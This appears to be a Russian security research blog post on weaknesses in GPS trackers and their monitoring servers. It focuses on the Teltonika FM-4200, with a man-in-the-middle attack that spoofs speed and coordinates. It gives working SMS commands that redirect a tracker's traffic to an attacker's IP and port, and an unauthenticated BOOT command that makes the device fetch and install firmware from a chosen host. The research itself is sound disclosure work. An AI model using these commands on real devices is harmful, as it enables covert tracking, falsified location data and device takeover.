Добрый день. В стране вот-вот начнется новогоднее настроение, а значит, пора отпусков, салатов и легкого ненапряжного ресеча.
Мне очень нравится обращать внимание на информационную безопасность вещей, которые окружают человека в повседневной жизни. Что ж, давайте поговорим об одной из таких вещей. GPS-трекер, дамы и господа!
Что такое GPS-трекер?
GPS-трекер — достаточно компактное устройство, позволяющее с большой точностью определить текущее местоположение объекта, к которому оно прикреплено, например автомобиля.
Под GPS-трекерами будем в том числе понимать устройства, работающие с родным для нас Глонассом.
Где применяется
Данный вид устройств имеет широчайшее распространение в нашей жизни и используется широкими слоями населения: родители, желающие знать, где в данный момент находится их озорник-ребенок; славные полиционеры, контролирующие, не покинул ли пределы города освобожденный под подписку о невыезде за воровство картошки дед Василий; «креативный класс», ожидающий подачи ближайшего к нему такси; суровые работники служб безопасности, контролирующие передвижение грузов, инкассаторских автомобилей и просто фур и желающие знать, не сливают ли втихаря водители этих самых фур топливо, не халтурят ли по вечерам и не превышают ли скоростной режим. В общем, везде, где есть необходимость узнать текущее положение объекта и ряд его свойств, мы, несомненно, наткнемся на GPS-трекер.
Как работает
В работе GPS-трекера нет никакого волшебства. Устройство представляет собой плату с GPS/Глонасс-модулем, а также модулем GSM. Первый используется для получения текущих координат объекта, последний для их отправки на удаленный сервер с помощью GPRS, например. С сервера эти данные получается оператором уже в приятном интерфейсе Web 2.0 с рюшечками и треком объекта на карте.
В итоге мы имеем вот такую схему работы устройства:
Заканчиваем с нудятиной, переходим к атакам
Очевидные атаки на трекеры были известны давно — а почему бы просто не заглушить сигнал? Можно, но неинтересно. Мы же не варвары. Много шума и т. д.
Можно использовать фейковую базовую станцию, чтобы перехватывать отправляемые устройством данные, но это, опять же, по воробьям из пушки.
Без внимания у нас остались ПО самой железяки и серверная часть, вот туда-то и глянем.
Начнем с последнего.
В сети существует множество ресурсов, готовых продать вам как сам трекер, так и предоставить сервер, чтобы агрегировать данные с трекера. Все, что требуется конечному пользователю — это установить трекер и сконфигурировать его на отправку данных на какой-то определенный сервер, например на бесплатный gps-trace.com/?page=home
Конечно, этим вариантом пользуются, как правило, частные лица. Большие организации, например логистические предприятия, разворачивают нечто подобное (http://ru.wikipedia.org/wiki/Wialon) на своих серверах.
Таким образом, если атакующий хочет получить большое количество данных о передвижении различных объектов, то ему нужно скомпрометировать один из публичных серверов для мониторинга. Как показывает практика, это совсем не сложно, ведь большинство этих веб-сервисов содержат вполне тривиальные уязвимости из списка OWASP TOP 10 www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Тут и разглашение информации:
и межсайтовый скриптинг:
и SQL инъекции:
А еще все это работает на серверах с кучей открытых портов. Простор для атакующего.
Уже на этом этапе атакующий получит все, что ему нужно: трек, параметры объекта (например, скорость, открыты ли двери, количество бензина), текущее местоположение, информацию о трекере (номер SIM-карты, IMEI, производитель).
Однако мы не будем останавливаться на достигнутом, ведь наша цель — не только посмотреть, где находиться чей-то ребенок, но и попробовать сделать так, чтобы этот ребенок «оказался» вдруг на курортах Сомалийского края, например. А для этого нам нужно подделать данные, передаваемые от трекера на сервер, т. е. быть посередине.
Для этого посмотрим в сторону самого трекера. Как же он конфигурируется? Разработчики современных трекеров предлагают огромное количество способов сконфигурировать трекер.
А именно:
1) RS-232
2) SMS
3) GPRS
Вообще, еще можно позвонить на трекер и, если к нему был заранее подключен микрофон, услышать нервные вздохи какого-нибудь дальнобойщика.
Для удаленной конфигурации используются последние два способа: СМС и GPRS.
Итак, поговорим предметно, а именно о трекере Teltonika FM-4200. Трекеры данной фирмы очень распространены, потому и были выбраны для исследования.
Для того чтобы отправить SMS на трекер, необходимо знать его номер телефона. Где же его взять? Эта задача может решаться множеством способов. Например, можно использовать уязвимые серверные приложения, о которых было рассказано выше, или погуглить конфиги/логи трекеров. Люди любят выкладывать их на форумах, обсуждая проблемы устройств.
Итак, формат конфигурационной СМС для Teltonika выглядит следующим образом:
<login> <password> setparam <номер параметра> <значение>
Производитель подстраховался и включил поля и в СМС. Однако по умолчанию никаких паролей не установлено, что приводит к тому, что многие устройства доступны к конфигурированию без пароля. Даже если пароль установлен, как правило, он не очень сложный. Вот немного нашей статистики:
Итак. Наша задача — встать посередине между трекером и сервером. Для этого, как и в классических атаках типа Man-in-the-Middle, мы должны заставить устройства отправлять данные сначала нам, а мы, в свою очередь, будем пересылать их на сервер, изменив необходимую информацию.
В Teltonika за IP-адрес сервера отвечает параметр 3245, а за номер порта — параметр 3246. Таким образом, для того чтобы пустить весь трафик трекера через свой сниффер, нам достаточно отправить всего 2 SMS следующего содержания:
<пробел><пробел>setparam 3245 <IP>
<пробел><пробел>setparam 3246 <Port>
Просто слушать трафик неинтересно, хочется его еще и модифицировать, а для этого необходимо знать протокол, по которому Teltonika общается с сервером. Где бы его взять? Google it!
Например, по запросу "Teltonika Confidential document":
Среди множество ссылок на интересные pdf-ки мы наткнемся на документ под названием «FM4XXX DATA PROTOCOL», в котором подробно описан формат отправляемых трекером пакетов.
Не буду его описывать, он достаточно прост.
Сообщения выглядят примерно таким образом:
00000000000000b708060000013aff36d4170а120cc98023c1c400000200000800000000000000000000013aff36857f00120cс1а023c1c200000000000900010000000000000000013aff36372200120cc56023c1c180000000000900010000000000000000013aff35e88a00d20cc6e023c1c240000100000900010000000000000000013aff3599f400120cc8e023c1c400000500000900000000000000000000013aff354b5a00120cc8c023c1c500000f0000090000000000000000060000570e
В пакетах указываются данные о координатах, скорости, значения с датчиков, количество используемых спутников, приоритет, дата, контрольные суммы и т. д.
Имея описание протокола, мы быстро пишем утилиту, которая будет парсить сообщения, изменять их, например увеличивая скорость, и отправлять дальше.
Код такой утилиты можно увидеть вот тут: pastebin.com/VfWLnGPA
Утилита может рандомизировать скорость объекта в заданных пределах, а также менять значения координат.
Вот пример того, как мы заставили автомобиль двигаться со скоростью ~600 км/ч по траектории, очень напоминающей пентаграмму :)
Кроме этого, в утилите реализован простенький фаззер.
На этом этапе уже можно было бы остановиться, однако наличие в мире устройств, к которым мы не можем получить доступ из-за ограничения паролем, как-то расстраивает.
Попробуем что-нибудь придумать. Мы совсем забыли о том, что у каждого устройства есть прошивка, трекеры не исключение. А как владелец трекера может поменять прошивку на своем трекере, если он установлен в недрах камаза где-нибудь в Сибири? Правильно! По СМС :)
К счастью, лить прошивку через СМС не нужно, достаточно лишь послать на трекер специальную команду со ссылкой на прошивку, после чего устройство само перейдет по указанной ссылке, скачает прошивку и установит ее.
Для Телтоники такая СМС-команда выглядит следующим образом:
BOOT <IMEI> <APN setting> <ip:port> <filename>
Как вы можете заметить — никаких логинов и паролей.
Все, что осталось сделать, — это кастомизировать прошивку так, чтобы она не проверяла логин/пароль в SMS, после чего заинсталлить ее на устройство.
Вот тут-то у нас и возникли трудности. Доступные прошивки для нашего устройства зашифрованы. Было принято решение сдампить код прошивки через JTag (что это такое, можно прочитать вот тут: habrahabr.ru/post/190012/)
И подпитываемые надеждой, что разработчики не озаботились безопасностью своего продукта и тут, мы запаслись китайским программатором, поддерживающим наш чип и приступили к дальнейшим изысканиям.
Но куда и как подключаться для получения заветного доступа к микроконтроллеру? Взглянув на плату трекера, можно заметить несколько потенциально интересных для нас мест, мест куда теоретически мог бы быть разведен искомый интерфейс.
Прозвонить путь от контактных площадок до выводов, значащихся в даташитах на контроллер как JTag, не представлялось возможным из-за форм-фактора процессора. Более всего заинтересовал необычный двухсторонний разъем на краю платы, очевидно, созданный для подключения неким сервисным кабелем, распиновка которого — негуглящаяся тайна. И было решено следовать методом грубой силы: пробрутфорсить все доступные контактные группы для определения распиновки. Для этого мы подпаялись к контактным группам и использовали arduino-подобную плату teensy для перебора возможных комбинаций TDI, TDO, TCK и TMS. В этом помогли наработки известного арт-хакера Nathan Andrew Fain, а именно проект Jtagenum.
К сожалению, все найденные предположительно рабочие комбинации после проверки оказались ошибочными срабатываниями. Окончательно версия о правильно выставленных настройках при прошивке подтвердилась несколько позже, когда с уже снятым чипом удалось прозвонить цепи до контактов под BGA-корпусом.
Какой из всей этой писанины можно сделать вывод? В мире существует огромное количество устройств, о безопасности которых даже и не думали, когда их создавали, однако современная интеграция IT в нашу жизнь столь велика, что закрывать на это глаза было бы неправильно.
Даже небольших знаний хватит атакующему, чтобы получить информацию о маршрутах многих логистических компаний, скомпрометировав веб-приложение для мониторинга. Продвинутые же атакующие способны сделать из огромного количества трекеров все что угодно, начиная от биткойн-майнера, заканчивая DDoS-ботами.
Как вы могли заметить, ресеч не закончен, так что если кто-то любит копаться во внутренностях железяк, то велком в Digital Security, у нас весело :)
PS: Помимо меня с трекерами веселился JRun, за что ему большое спасибо.
Автор: chipik